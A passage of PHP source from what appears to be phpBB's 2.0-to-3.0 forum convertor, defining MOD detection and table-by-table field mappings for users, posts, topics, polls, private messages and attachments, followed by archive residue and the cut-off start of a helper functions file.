'board_email_sig' => 'phpbb_set_encoding(board_email_sig)', 'posts_per_page' => 'posts_per_page', 'topics_per_page' => 'topics_per_page', 'enable_confirm' => 'enable_confirm', 'board_email_form' => 'board_email_form', 'override_user_style' => 'override_user_style', 'hot_threshold' => 'hot_threshold', 'max_poll_options' => 'max_poll_options', 'max_sig_chars' => 'max_sig_chars', 'pm_max_msgs' => 'max_inbox_privmsgs', 'smtp_delivery' => 'smtp_delivery', 'smtp_host' => 'smtp_host', 'smtp_username' => 'smtp_username', 'smtp_password' => 'smtp_password', 'require_activation' => 'require_activation', 'flood_interval' => 'flood_interval', 'avatar_filesize' => 'avatar_filesize', 'avatar_max_width' => 'avatar_max_width', 'avatar_max_height' => 'avatar_max_height', 'default_dateformat' => 'phpbb_set_encoding(default_dateformat)', 'board_timezone' => 'board_timezone', 'allow_privmsg' => 'not(privmsg_disable)', 'gzip_compress' => 'gzip_compress', 'coppa_enable' => '!is_empty(coppa_mail)', 'coppa_fax' => 'coppa_fax', 'coppa_mail' => 'coppa_mail', 'record_online_users' => 'record_online_users', 'record_online_date' => 'record_online_date', 'board_startdate' => 'board_startdate', ) ); /** * $test_file is the name of a file which is present on the source * forum which can be used to check that the path specified by the * user was correct */ $test_file = 'modcp.php'; /** * If this is set then we are not generating the first page of information but getting the conversion information. */ if (!$get_info) { // Test to see if the birthday MOD is installed on the source forum // Niels' birthday mod if (get_config_value('birthday_required') !== false || get_config_value('bday_require') !== false) { define('MOD_BIRTHDAY', true); } // TerraFrost's validated birthday mod if (get_config_value('bday_require') !== false) { define('MOD_BIRTHDAY_TERRA', true); } // Test to see if the attachment MOD is installed on the source forum // If it is, we will convert this data as well $src_db->sql_return_on_error(true); $sql = "SELECT config_value FROM {$convert->src_table_prefix}attachments_config WHERE config_name = 'upload_dir'"; $result = $src_db->sql_query($sql); if ($result && $row = $src_db->sql_fetchrow($result)) { // Here the constant is defined define('MOD_ATTACHMENT', true); // Here i add more tables to be checked in the old forum $tables += array( 'attachments', 'attachments_desc', 'extensions', 'extension_groups' ); $src_db->sql_freeresult($result); } else if ($result) { $src_db->sql_freeresult($result); } /** * Tests for further MODs can be included here. * Please use constants for this, prefixing them with MOD_ */ $src_db->sql_return_on_error(false); // Now let us set a temporary config variable for user id incrementing $sql = "SELECT user_id FROM {$convert->src_table_prefix}users WHERE user_id = 1"; $result = $src_db->sql_query($sql); $user_id = (int) $src_db->sql_fetchfield('user_id'); $src_db->sql_freeresult($result); // If there is a user id 1, we need to increment user ids. :/ if ($user_id === 1) { // Try to get the maximum user id possible... $sql = "SELECT MAX(user_id) AS max_user_id FROM {$convert->src_table_prefix}users"; $result = $src_db->sql_query($sql); $user_id = (int) $src_db->sql_fetchfield('max_user_id'); $src_db->sql_freeresult($result); set_config('increment_user_id', ($user_id + 1), true); } else { set_config('increment_user_id', 0, true); } // Overwrite maximum avatar width/height @define('DEFAULT_AVATAR_X_CUSTOM', get_config_value('avatar_max_width')); @define('DEFAULT_AVATAR_Y_CUSTOM', get_config_value('avatar_max_height')); // additional table used only during conversion @define('USERCONV_TABLE', $table_prefix . 'userconv'); /** * Description on how to use the convertor framework. * * 'schema' Syntax Description * -> 'target' => Target Table. If not specified the next table will be handled * -> 'primary' => Primary Key. If this is specified then this table is processed in batches * -> 'query_first' => array('target' or 'src', Query to execute before beginning the process * (if more than one then specified as array)) * -> 'function_first' => Function to execute before beginning the process (if more than one then specified as array) * (This is mostly useful if variables need to be given to the converting process) * -> 'test_file' => This is not used at the moment but should be filled with a file from the old installation * * // DB Functions * 'distinct' => Add DISTINCT to the select query * 'where' => Add WHERE to the select query * 'group_by' => Add GROUP BY to the select query * 'left_join' => Add LEFT JOIN to the select query (if more than one joins specified as array) * 'having' => Add HAVING to the select query * * // DB INSERT array * This one consist of three parameters * First Parameter: * The key need to be filled within the target table * If this is empty, the target table gets not assigned the source value * Second Parameter: * Source value. If the first parameter is specified, it will be assigned this value. * If the first parameter is empty, this only gets added to the select query * Third Parameter: * Custom Function. Function to execute while storing source value into target table. * The functions return value get stored. * The function parameter consist of the value of the second parameter. * * types: * - empty string == execute nothing * - string == function to execute * - array == complex execution instructions * * Complex execution instructions: * @todo test complex execution instructions - in theory they will work fine * * By defining an array as the third parameter you are able to define some statements to be executed. The key * is defining what to execute, numbers can be appended... * * 'function' => execute function * 'execute' => run code, whereby all occurrences of {VALUE} get replaced by the last returned value. * The result *must* be assigned/stored to {RESULT}. * 'typecast' => typecast value * * The returned variables will be made always available to the next function to continue to work with. * * example (variable inputted is an integer of 1): * * array( * 'function1' => 'increment_by_one', // returned variable is 2 * 'typecast' => 'string', // typecast variable to be a string * 'execute' => '{RESULT} = {VALUE} . ' is good';', // returned variable is '2 is good' * 'function2' => 'replace_good_with_bad', // returned variable is '2 is bad' * ), * */ $convertor = array( 'test_file' => 'viewtopic.php', 'avatar_path' => get_config_value('avatar_path') . '/', 'avatar_gallery_path' => get_config_value('avatar_gallery_path') . '/', 'smilies_path' => get_config_value('smilies_path') . '/', 'upload_path' => (defined('MOD_ATTACHMENT')) ? phpbb_get_files_dir() . '/' : '', 'thumbnails' => (defined('MOD_ATTACHMENT')) ? array('thumbs/', 't_') : '', 'ranks_path' => false, // phpBB 2.0.x had no config value for a ranks path // We empty some tables to have clean data available 'query_first' => array( array('target', $convert->truncate_statement . SEARCH_RESULTS_TABLE), array('target', $convert->truncate_statement . SEARCH_WORDLIST_TABLE), array('target', $convert->truncate_statement . SEARCH_WORDMATCH_TABLE), array('target', $convert->truncate_statement . LOG_TABLE), ), // with this you are able to import all attachment files on the fly. For large boards this is not an option, therefore commented out by default. // Instead every file gets copied while processing the corresponding attachment entry. // if (defined("MOD_ATTACHMENT")) { import_attachment_files(); phpbb_copy_thumbnails(); } // phpBB2 allowed some similar usernames to coexist which would have the same // username_clean in phpBB3 which is not possible, so we'll give the admin a list // of user ids and usernames and let him deicde what he wants to do with them 'execute_first' => ' phpbb_create_userconv_table(); import_avatar_gallery(); if (defined("MOD_ATTACHMENT")) phpbb_import_attach_config(); phpbb_insert_forums(); ', 'execute_last' => array(' add_bots(); ', ' update_folder_pm_count(); ', ' update_unread_count(); ', ' phpbb_convert_authentication(\'start\'); ', ' phpbb_convert_authentication(\'first\'); ', ' phpbb_convert_authentication(\'second\'); ', ' phpbb_convert_authentication(\'third\'); '), 'schema' => array( array( 'target' => USERCONV_TABLE, 'query_first' => array('target', $convert->truncate_statement . USERCONV_TABLE), array('user_id', 'users.user_id', ''), array('username_clean', 'users.username', array('function1' => 'phpbb_set_encoding', 'function2' => 'utf8_clean_string')), ), array( 'target' => (defined('MOD_ATTACHMENT')) ? ATTACHMENTS_TABLE : '', 'primary' => 'attachments.attach_id', 'query_first' => (defined('MOD_ATTACHMENT')) ? array('target', $convert->truncate_statement . ATTACHMENTS_TABLE) : '', 'autoincrement' => 'attach_id', array('attach_id', 'attachments.attach_id', ''), array('post_msg_id', 'attachments.post_id', ''), array('topic_id', 'posts.topic_id', ''), array('in_message', 0, ''), array('is_orphan', 0, ''), array('poster_id', 'attachments.user_id_1 AS poster_id', 'phpbb_user_id'), array('physical_filename', 'attachments_desc.physical_filename', 'import_attachment'), array('real_filename', 'attachments_desc.real_filename', 'phpbb_set_encoding'), array('download_count', 'attachments_desc.download_count', ''), array('attach_comment', 'attachments_desc.comment', array('function1' => 'phpbb_set_encoding', 'function2' => 'utf8_htmlspecialchars')), array('extension', 'attachments_desc.extension', ''), array('mimetype', 'attachments_desc.mimetype', ''), array('filesize', 'attachments_desc.filesize', ''), array('filetime', 'attachments_desc.filetime', ''), array('thumbnail', 'attachments_desc.thumbnail', ''), 'where' => 'attachments_desc.attach_id = attachments.attach_id AND attachments.privmsgs_id = 0 AND posts.post_id = attachments.post_id', 'group_by' => 'attachments.attach_id' ), array( 'target' => (defined('MOD_ATTACHMENT')) ? ATTACHMENTS_TABLE : '', 'primary' => 'attachments.attach_id', 'autoincrement' => 'attach_id', array('attach_id', 'attachments.attach_id', ''), array('post_msg_id', 'attachments.privmsgs_id', ''), array('topic_id', 0, ''), array('in_message', 1, ''), array('is_orphan', 0, ''), array('poster_id', 'attachments.user_id_1 AS poster_id', 'phpbb_user_id'), array('physical_filename', 'attachments_desc.physical_filename', 'import_attachment'), array('real_filename', 'attachments_desc.real_filename', ''), array('download_count', 'attachments_desc.download_count', ''), array('attach_comment', 'attachments_desc.comment', array('function1' => 'phpbb_set_encoding', 'function2' => 'utf8_htmlspecialchars')), array('extension', 'attachments_desc.extension', ''), array('mimetype', 'attachments_desc.mimetype', ''), array('filesize', 'attachments_desc.filesize', ''), array('filetime', 'attachments_desc.filetime', ''), array('thumbnail', 'attachments_desc.thumbnail', ''), 'where' => 'attachments_desc.attach_id = attachments.attach_id AND attachments.post_id = 0', 'group_by' => 'attachments.attach_id' ), array( 'target' => (defined('MOD_ATTACHMENT')) ? EXTENSIONS_TABLE : '', 'query_first' => (defined('MOD_ATTACHMENT')) ? array('target', $convert->truncate_statement . EXTENSIONS_TABLE) : '', 'autoincrement' => 'extension_id', array('extension_id', 'extensions.ext_id', ''), array('group_id', 'extensions.group_id', ''), array('extension', 'extensions.extension', ''), ), array( 'target' => (defined('MOD_ATTACHMENT')) ? EXTENSION_GROUPS_TABLE : '', 'query_first' => (defined('MOD_ATTACHMENT')) ? array('target', $convert->truncate_statement . EXTENSION_GROUPS_TABLE) : '', 'autoincrement' => 'group_id', array('group_id', 'extension_groups.group_id', ''), array('group_name', 'extension_groups.group_name', array('function1' => 'phpbb_set_encoding', 'function2' => 'utf8_htmlspecialchars')), array('cat_id', 'extension_groups.cat_id', 'phpbb_attachment_category'), array('allow_group', 'extension_groups.allow_group', ''), array('download_mode', 1, ''), array('upload_icon', '', ''), array('max_filesize', 'extension_groups.max_filesize', ''), array('allowed_forums', 'extension_groups.forum_permissions', 'phpbb_attachment_forum_perms'), array('allow_in_pm', 1, ''), ), array( 'target' => BANLIST_TABLE, 'execute_first' => 'phpbb_check_username_collisions();', 'query_first' => array('target', $convert->truncate_statement . BANLIST_TABLE), array('ban_ip', 'banlist.ban_ip', 'decode_ban_ip'), array('ban_userid', 'banlist.ban_userid', 'phpbb_user_id'), array('ban_email', 'banlist.ban_email', ''), array('ban_reason', '', ''), array('ban_give_reason', '', ''), 'where' => "banlist.ban_ip NOT LIKE '%.%'", ), array( 'target' => BANLIST_TABLE, array('ban_ip', 'banlist.ban_ip', ''), array('ban_userid', 0, ''), array('ban_email', '', ''), array('ban_reason', '', ''), array('ban_give_reason', '', ''), 'where' => "banlist.ban_ip LIKE '%.%'", ), array( 'target' => DISALLOW_TABLE, 'query_first' => array('target', $convert->truncate_statement . DISALLOW_TABLE), array('disallow_username', 'disallow.disallow_username', 'phpbb_disallowed_username'), ), array( 'target' => RANKS_TABLE, 'query_first' => array('target', $convert->truncate_statement . RANKS_TABLE), 'autoincrement' => 'rank_id', array('rank_id', 'ranks.rank_id', ''), array('rank_title', 'ranks.rank_title', array('function1' => 'phpbb_set_default_encoding', 'function2' => 'utf8_htmlspecialchars')), array('rank_min', 'ranks.rank_min', array('typecast' => 'int', 'execute' => '{RESULT} = ({VALUE}[0] < 0) ? 0 : {VALUE}[0];')), array('rank_special', 'ranks.rank_special', ''), array('rank_image', 'ranks.rank_image', 'import_rank'), ), array( 'target' => TOPICS_TABLE, 'query_first' => array('target', $convert->truncate_statement . TOPICS_TABLE), 'primary' => 'topics.topic_id', 'autoincrement' => 'topic_id', array('topic_id', 'topics.topic_id', ''), array('forum_id', 'topics.forum_id', ''), array('icon_id', 0, ''), array('topic_poster', 'topics.topic_poster AS poster_id', 'phpbb_user_id'), array('topic_attachment', ((defined('MOD_ATTACHMENT')) ? 'topics.topic_attachment' : 0), ''), array('topic_title', 'topics.topic_title', 'phpbb_set_encoding'), array('topic_time', 'topics.topic_time', ''), array('topic_views', 'topics.topic_views', ''), array('topic_replies', 'topics.topic_replies', ''), array('topic_replies_real', 'topics.topic_replies', ''), array('topic_last_post_id', 'topics.topic_last_post_id', ''), array('topic_status', 'topics.topic_status', 'is_topic_locked'), array('topic_moved_id', 0, ''), array('topic_type', 'topics.topic_type', 'phpbb_convert_topic_type'), array('topic_first_post_id', 'topics.topic_first_post_id', ''), array('topic_last_view_time', 'posts.post_time', 'intval'), array('poll_title', 'vote_desc.vote_text', array('function1' => 'null_to_str', 'function2' => 'phpbb_set_encoding', 'function3' => 'htmlspecialchars_decode', 'function4' => 'utf8_htmlspecialchars')), array('poll_start', 'vote_desc.vote_start', 'null_to_zero'), array('poll_length', 'vote_desc.vote_length', 'null_to_zero'), array('poll_max_options', 1, ''), array('poll_vote_change', 0, ''), 'left_join' => array ( 'topics LEFT JOIN vote_desc ON topics.topic_id = vote_desc.topic_id AND topics.topic_vote = 1', 'topics LEFT JOIN posts ON topics.topic_last_post_id = posts.post_id', ), 'where' => 'topics.topic_moved_id = 0', ), array( 'target' => TOPICS_TABLE, 'primary' => 'topics.topic_id', 'autoincrement' => 'topic_id', array('topic_id', 'topics.topic_id', ''), array('forum_id', 'topics.forum_id', ''), array('icon_id', 0, ''), array('topic_poster', 'topics.topic_poster AS poster_id', 'phpbb_user_id'), array('topic_attachment', ((defined('MOD_ATTACHMENT')) ? 'topics.topic_attachment' : 0), ''), array('topic_title', 'topics.topic_title', 'phpbb_set_encoding'), array('topic_time', 'topics.topic_time', ''), array('topic_views', 'topics.topic_views', ''), array('topic_replies', 'topics.topic_replies', ''), array('topic_replies_real', 'topics.topic_replies', ''), array('topic_last_post_id', 'topics.topic_last_post_id', ''), array('topic_status', ITEM_MOVED, ''), array('topic_moved_id', 'topics.topic_moved_id', ''), array('topic_type', 'topics.topic_type', 'phpbb_convert_topic_type'), array('topic_first_post_id', 'topics.topic_first_post_id', ''), array('poll_title', 'vote_desc.vote_text', array('function1' => 'null_to_str', 'function2' => 'phpbb_set_encoding', 'function3' => 'htmlspecialchars_decode', 'function4' => 'utf8_htmlspecialchars')), array('poll_start', 'vote_desc.vote_start', 'null_to_zero'), array('poll_length', 'vote_desc.vote_length', 'null_to_zero'), array('poll_max_options', 1, ''), array('poll_vote_change', 0, ''), 'left_join' => 'topics LEFT JOIN vote_desc ON topics.topic_id = vote_desc.topic_id AND topics.topic_vote = 1', 'where' => 'topics.topic_moved_id <> 0', ), array( 'target' => TOPICS_WATCH_TABLE, 'primary' => 'topics_watch.topic_id', 'query_first' => array('target', $convert->truncate_statement . TOPICS_WATCH_TABLE), array('topic_id', 'topics_watch.topic_id', ''), array('user_id', 'topics_watch.user_id', 'phpbb_user_id'), array('notify_status', 'topics_watch.notify_status', ''), ), array( 'target' => SMILIES_TABLE, 'query_first' => array('target', $convert->truncate_statement . SMILIES_TABLE), 'autoincrement' => 'smiley_id', array('smiley_id', 'smilies.smilies_id', ''), array('code', 'smilies.code', array('function1' => 'phpbb_smilie_html_decode', 'function2' => 'phpbb_set_encoding', 'function3' => 'utf8_htmlspecialchars')), array('emotion', 'smilies.emoticon', 'phpbb_set_encoding'), array('smiley_url', 'smilies.smile_url', 'import_smiley'), array('smiley_width', 'smilies.smile_url', 'get_smiley_width'), array('smiley_height', 'smilies.smile_url', 'get_smiley_height'), array('smiley_order', 'smilies.smilies_id', ''), array('display_on_posting', 'smilies.smilies_id', 'get_smiley_display'), 'order_by' => 'smilies.smilies_id ASC', ), array( 'target' => POLL_OPTIONS_TABLE, 'primary' => 'vote_results.vote_option_id', 'query_first' => array('target', $convert->truncate_statement . POLL_OPTIONS_TABLE), array('poll_option_id', 'vote_results.vote_option_id', ''), array('topic_id', 'vote_desc.topic_id', ''), array('', 'topics.topic_poster AS poster_id', 'phpbb_user_id'), array('poll_option_text', 'vote_results.vote_option_text', array('function1' => 'phpbb_set_encoding', 'function2' => 'htmlspecialchars_decode', 'function3' => 'utf8_htmlspecialchars')), array('poll_option_total', 'vote_results.vote_result', ''), 'where' => 'vote_results.vote_id = vote_desc.vote_id', 'left_join' => 'vote_desc LEFT JOIN topics ON topics.topic_id = vote_desc.topic_id', ), array( 'target' => POLL_VOTES_TABLE, 'primary' => 'vote_desc.topic_id', 'query_first' => array('target', $convert->truncate_statement . POLL_VOTES_TABLE), array('poll_option_id', VOTE_CONVERTED, ''), array('topic_id', 'vote_desc.topic_id', ''), array('vote_user_id', 'vote_voters.vote_user_id', 'phpbb_user_id'), array('vote_user_ip', 'vote_voters.vote_user_ip', 'decode_ip'), 'where' => 'vote_voters.vote_id = vote_desc.vote_id', ), array( 'target' => WORDS_TABLE, 'primary' => 'words.word_id', 'query_first' => array('target', $convert->truncate_statement . WORDS_TABLE), 'autoincrement' => 'word_id', array('word_id', 'words.word_id', ''), array('word', 'words.word', 'phpbb_set_encoding'), array('replacement', 'words.replacement', 'phpbb_set_encoding'), ), array( 'target' => POSTS_TABLE, 'primary' => 'posts.post_id', 'autoincrement' => 'post_id', 'query_first' => array('target', $convert->truncate_statement . POSTS_TABLE), 'execute_first' => ' $config["max_post_chars"] = 0; $config["min_post_chars"] = 0; $config["max_quote_depth"] = 0; ', array('post_id', 'posts.post_id', ''), array('topic_id', 'posts.topic_id', ''), array('forum_id', 'posts.forum_id', ''), array('poster_id', 'posts.poster_id', 'phpbb_user_id'), array('icon_id', 0, ''), array('poster_ip', 'posts.poster_ip', 'decode_ip'), array('post_time', 'posts.post_time', ''), array('enable_bbcode', 'posts.enable_bbcode', ''), array('', 'posts.enable_html', ''), array('enable_smilies', 'posts.enable_smilies', ''), array('enable_sig', 'posts.enable_sig', ''), array('enable_magic_url', 1, ''), array('post_username', 'posts.post_username', 'phpbb_set_encoding'), array('post_subject', 'posts_text.post_subject', 'phpbb_set_encoding'), array('post_attachment', ((defined('MOD_ATTACHMENT')) ? 'posts.post_attachment' : 0), ''), array('post_edit_time', 'posts.post_edit_time', array('typecast' => 'int')), array('post_edit_count', 'posts.post_edit_count', ''), array('post_edit_reason', '', ''), array('post_edit_user', '', 'phpbb_post_edit_user'), array('bbcode_uid', 'posts.post_time', 'make_uid'), array('post_text', 'posts_text.post_text', 'phpbb_prepare_message'), array('', 'posts_text.bbcode_uid AS old_bbcode_uid', ''), array('bbcode_bitfield', '', 'get_bbcode_bitfield'), array('post_checksum', '', ''), // Commented out inline search indexing, this takes up a LOT of time. :D // @todo We either need to enable this or call the rebuild search functionality post convert /* array('', '', 'search_indexing'), array('', 'posts_text.post_text AS message', ''), array('', 'posts_text.post_subject AS title', ''),*/ 'where' => 'posts.post_id = posts_text.post_id' ), array( 'target' => PRIVMSGS_TABLE, 'primary' => 'privmsgs.privmsgs_id', 'autoincrement' => 'msg_id', 'query_first' => array( array('target', $convert->truncate_statement . PRIVMSGS_TABLE), array('target', $convert->truncate_statement . PRIVMSGS_RULES_TABLE), ), 'execute_first' => ' $config["max_post_chars"] = 0; $config["min_post_chars"] = 0; $config["max_quote_depth"] = 0; ', array('msg_id', 'privmsgs.privmsgs_id', ''), array('root_level', 0, ''), array('author_id', 'privmsgs.privmsgs_from_userid AS poster_id', 'phpbb_user_id'), array('icon_id', 0, ''), array('author_ip', 'privmsgs.privmsgs_ip', 'decode_ip'), array('message_time', 'privmsgs.privmsgs_date', ''), array('enable_bbcode', 'privmsgs.privmsgs_enable_bbcode AS enable_bbcode', ''), array('', 'privmsgs.privmsgs_enable_html AS enable_html', ''), array('enable_smilies', 'privmsgs.privmsgs_enable_smilies AS enable_smilies', ''), array('enable_magic_url', 1, ''), array('enable_sig', 'privmsgs.privmsgs_attach_sig', ''), array('message_subject', 'privmsgs.privmsgs_subject', 'phpbb_set_encoding'), // Already specialchared in 2.0.x array('message_attachment', ((defined('MOD_ATTACHMENT')) ? 'privmsgs.privmsgs_attachment' : 0), ''), array('message_edit_reason', '', ''), array('message_edit_user', 0, ''), array('message_edit_time', 0, ''), array('message_edit_count', 0, ''), array('bbcode_uid', 'privmsgs.privmsgs_date AS post_time', 'make_uid'), array('message_text', 'privmsgs_text.privmsgs_text', 'phpbb_prepare_message'), array('', 'privmsgs_text.privmsgs_bbcode_uid AS old_bbcode_uid', ''), array('bbcode_bitfield', '', 'get_bbcode_bitfield'), array('to_address', 'privmsgs.privmsgs_to_userid', 'phpbb_privmsgs_to_userid'), array('bcc_address', '', ''), 'where' => 'privmsgs.privmsgs_id = privmsgs_text.privmsgs_text_id' ), array( 'target' => PRIVMSGS_FOLDER_TABLE, 'primary' => 'users.user_id', 'query_first' => array('target', $convert->truncate_statement . PRIVMSGS_FOLDER_TABLE), array('user_id', 'users.user_id', 'phpbb_user_id'), array('folder_name', $user->lang['CONV_SAVED_MESSAGES'], ''), array('pm_count', 0, ''), 'where' => 'users.user_id <> -1', ), // Inbox array( 'target' => PRIVMSGS_TO_TABLE, 'primary' => 'privmsgs.privmsgs_id', 'query_first' => array('target', $convert->truncate_statement . PRIVMSGS_TO_TABLE), array('msg_id', 'privmsgs.privmsgs_id', ''), array('user_id', 'privmsgs.privmsgs_to_userid', 'phpbb_user_id'), array('author_id', 'privmsgs.privmsgs_from_userid', 'phpbb_user_id'), array('pm_deleted', 0, ''), array('pm_new', 'privmsgs.privmsgs_type', 'phpbb_new_pm'), array('pm_unread', 'privmsgs.privmsgs_type', 'phpbb_unread_pm'), array('pm_replied', 0, ''), array('pm_marked', 0, ''), array('pm_forwarded', 0, ''), array('folder_id', PRIVMSGS_INBOX, ''), 'where' => 'privmsgs.privmsgs_id = privmsgs_text.privmsgs_text_id AND (privmsgs.privmsgs_type = 0 OR privmsgs.privmsgs_type = 1 OR privmsgs.privmsgs_type = 5)', ), // Outbox array( 'target' => PRIVMSGS_TO_TABLE, 'primary' => 'privmsgs.privmsgs_id', array('msg_id', 'privmsgs.privmsgs_id', ''), array('user_id', 'privmsgs.privmsgs_from_userid', 'phpbb_user_id'), array('author_id', 'privmsgs.privmsgs_from_userid', 'phpbb_user_id'), array('pm_deleted', 0, ''), array('pm_new', 0, ''), array('pm_unread', 0, ''), array('pm_replied', 0, ''), array('pm_marked', 0, ''), array('pm_forwarded', 0, ''), array('folder_id', PRIVMSGS_OUTBOX, ''), 'where' => 'privmsgs.privmsgs_id = privmsgs_text.privmsgs_text_id AND (privmsgs.privmsgs_type = 1 OR privmsgs.privmsgs_type = 5)', ), // Sentbox array( 'target' => PRIVMSGS_TO_TABLE, 'primary' => 'privmsgs.privmsgs_id', array('msg_id', 'privmsgs.privmsgs_id', ''), array('user_id', 'privmsgs.privmsgs_from_userid', 'phpbb_user_id'), array('author_id', 'privmsgs.privmsgs_from_userid', 'phpbb_user_id'), array('pm_deleted', 0, ''), array('pm_new', 'privmsgs.privmsgs_type', 'phpbb_new_pm'), array('pm_unread', 'privmsgs.privmsgs_type', 'phpbb_unread_pm'), array('pm_replied', 0, ''), array('pm_marked', 0, ''), array('pm_forwarded', 0, ''), array('folder_id', PRIVMSGS_SENTBOX, ''), 'where' => 'privmsgs.privmsgs_id = privmsgs_text.privmsgs_text_id AND privmsgs.privmsgs_type = 2', ), // Savebox (SAVED IN) array( 'target' => PRIVMSGS_TO_TABLE, 'primary' => 'privmsgs.privmsgs_id', array('msg_id', 'privmsgs.privmsgs_id', ''), array('user_id', 'privmsgs.privmsgs_to_userid', 'phpbb_user_id'), array('author_id', 'privmsgs.privmsgs_from_userid', 'phpbb_user_id'), array('pm_deleted', 0, ''), array('pm_new', 'privmsgs.privmsgs_type', 'phpbb_new_pm'), array('pm_unread', 'privmsgs.privmsgs_type', 'phpbb_unread_pm'), array('pm_replied', 0, ''), array('pm_marked', 0, ''), array('pm_forwarded', 0, ''), array('folder_id', 'privmsgs.privmsgs_to_userid', 'phpbb_get_savebox_id'), 'where' => 'privmsgs.privmsgs_id = privmsgs_text.privmsgs_text_id AND privmsgs.privmsgs_type = 3', ), // Savebox (SAVED OUT) array( 'target' => PRIVMSGS_TO_TABLE, 'primary' => 'privmsgs.privmsgs_id', array('msg_id', 'privmsgs.privmsgs_id', ''), array('user_id', 'privmsgs.privmsgs_from_userid', 'phpbb_user_id'), array('author_id', 'privmsgs.privmsgs_from_userid', 'phpbb_user_id'), array('pm_deleted', 0, ''), array('pm_new', 'privmsgs.privmsgs_type', 'phpbb_new_pm'), array('pm_unread', 'privmsgs.privmsgs_type', 'phpbb_unread_pm'), array('pm_replied', 0, ''), array('pm_marked', 0, ''), array('pm_forwarded', 0, ''), array('folder_id', 'privmsgs.privmsgs_from_userid', 'phpbb_get_savebox_id'), 'where' => 'privmsgs.privmsgs_id = privmsgs_text.privmsgs_text_id AND privmsgs.privmsgs_type = 4', ), array( 'target' => GROUPS_TABLE, 'autoincrement' => 'group_id', 'query_first' => array('target', $convert->truncate_statement . GROUPS_TABLE), array('group_id', 'groups.group_id', ''), array('group_type', 'groups.group_type', 'phpbb_convert_group_type'), array('group_display', 0, ''), array('group_legend', 0, ''), array('group_name', 'groups.group_name', 'phpbb_convert_group_name'), // phpbb_set_encoding called in phpbb_convert_group_name array('group_desc', 'groups.group_description', 'phpbb_set_encoding'), 'where' => 'groups.group_single_user = 0', ), array( 'target' => USER_GROUP_TABLE, 'query_first' => array('target', $convert->truncate_statement . USER_GROUP_TABLE), 'execute_first' => ' add_default_groups(); ', array('group_id', 'groups.group_id', ''), array('user_id', 'groups.group_moderator', 'phpbb_user_id'), array('group_leader', 1, ''), array('user_pending', 0, ''), 'where' => 'groups.group_single_user = 0 AND groups.group_moderator <> 0', ), array( 'target' => USER_GROUP_TABLE, array('group_id', 'user_group.group_id', ''), array('user_id', 'user_group.user_id', 'phpbb_user_id'), array('group_leader', 0, ''), array('user_pending', 'user_group.user_pending', ''), 'where' => 'user_group.group_id = groups.group_id AND groups.group_single_user = 0 AND groups.group_moderator <> user_group.user_id', ), array( 'target' => USERS_TABLE, 'primary' => 'users.user_id', 'autoincrement' => 'user_id', 'query_first' => array( array('target', 'DELETE FROM ' . USERS_TABLE . ' WHERE user_id <> ' . ANONYMOUS), array('target', $convert->truncate_statement . BOTS_TABLE) ), 'execute_last' => ' remove_invalid_users(); ', array('user_id', 'users.user_id', 'phpbb_user_id'), array('', 'users.user_id AS poster_id', 'phpbb_user_id'), array('user_type', 'users.user_active', 'set_user_type'), array('group_id', 'users.user_level', 'phpbb_set_primary_group'), array('user_regdate', 'users.user_regdate', ''), array('username', 'users.username', 'phpbb_set_default_encoding'), // recode to utf8 with default lang array('username_clean', 'users.username', array('function1' => 'phpbb_set_default_encoding', 'function2' => 'utf8_clean_string')), array('user_password', 'users.user_password', 'phpbb_hash'), array('user_pass_convert', 1, ''), array('user_posts', 'users.user_posts', 'intval'), array('user_email', 'users.user_email', 'strtolower'), array('user_email_hash', 'users.user_email', 'gen_email_hash'), array('user_birthday', ((defined('MOD_BIRTHDAY')) ? 'users.user_birthday' : ''), 'phpbb_get_birthday'), array('user_lastvisit', 'users.user_lastvisit', 'intval'), array('user_lastmark', 'users.user_lastvisit', 'intval'), array('user_lang', $config['default_lang'], ''), array('', 'users.user_lang', ''), array('user_timezone', 'users.user_timezone', 'floatval'), array('user_dateformat', 'users.user_dateformat', array('function1' => 'phpbb_set_encoding', 'function2' => 'fill_dateformat')), array('user_inactive_reason', '', 'phpbb_inactive_reason'), array('user_inactive_time', '', 'phpbb_inactive_time'), array('user_interests', 'users.user_interests', array('function1' => 'phpbb_set_encoding')), array('user_occ', 'users.user_occ', array('function1' => 'phpbb_set_encoding')), array('user_website', 'users.user_website', 'validate_website'), array('user_jabber', '', ''), array('user_msnm', 'users.user_msnm', array('function1' => 'phpbb_set_encoding')), array('user_yim', 'users.user_yim', array('function1' => 'phpbb_set_encoding')), array('user_aim', 'users.user_aim', array('function1' => 'phpbb_set_encoding')), array('user_icq', 'users.user_icq', array('function1' => 'phpbb_set_encoding')), array('user_from', 'users.user_from', array('function1' => 'phpbb_set_encoding')), array('user_rank', 'users.user_rank', 'intval'), array('user_permissions', '', ''), array('user_avatar', 'users.user_avatar', 'phpbb_import_avatar'), array('user_avatar_type', 'users.user_avatar_type', 'phpbb_avatar_type'), array('user_avatar_width', 'users.user_avatar', 'phpbb_get_avatar_width'), array('user_avatar_height', 'users.user_avatar', 'phpbb_get_avatar_height'), array('user_new_privmsg', 'users.user_new_privmsg', ''), array('user_unread_privmsg', 0, ''), //'users.user_unread_privmsg' array('user_last_privmsg', 'users.user_last_privmsg', 'intval'), array('user_emailtime', 'users.user_emailtime', 'null_to_zero'), array('user_notify', 'users.user_notify', 'intval'), array('user_notify_pm', 'users.user_notify_pm', 'intval'), array('user_notify_type', NOTIFY_EMAIL, ''), array('user_allow_pm', 'users.user_allow_pm', 'intval'), array('user_allow_viewonline', 'users.user_allow_viewonline', 'intval'), array('user_allow_viewemail', 'users.user_viewemail', 'intval'), array('user_actkey', 'users.user_actkey', ''), array('user_newpasswd', '', ''), // Users need to re-request their password... array('user_style', $config['default_style'], ''), array('user_options', '', 'set_user_options'), array('', 'users.user_popup_pm AS popuppm', ''), array('', 'users.user_allowhtml AS html', ''), array('', 'users.user_allowbbcode AS bbcode', ''), array('', 'users.user_allowsmile AS smile', ''), array('', 'users.user_attachsig AS attachsig',''), array('user_sig_bbcode_uid', 'users.user_regdate', 'make_uid'), array('user_sig', 'users.user_sig', 'phpbb_prepare_message'), array('', 'users.user_sig_bbcode_uid AS old_bbcode_uid', ''), array('user_sig_bbcode_bitfield', '', 'get_bbcode_bitfield'), array('', 'users.user_regdate AS post_time', ''), 'where' => 'users.user_id <> -1', ), ), ); } ?>PK‰† [†¶ tÈÈÈÈ convertors/functions_phpbb20.phpnuW+A„¶sql_query($convert->truncate_statement . FORUMS_TABLE); // Determine the highest id used within the old forums table (we add the categories after the forum ids) $sql = 'SELECT MAX(forum_id) AS max_forum_id FROM ' . $convert->src_table_prefix . 'forums'; $result = $src_db->sql_query($sql); $max_forum_id = (int) 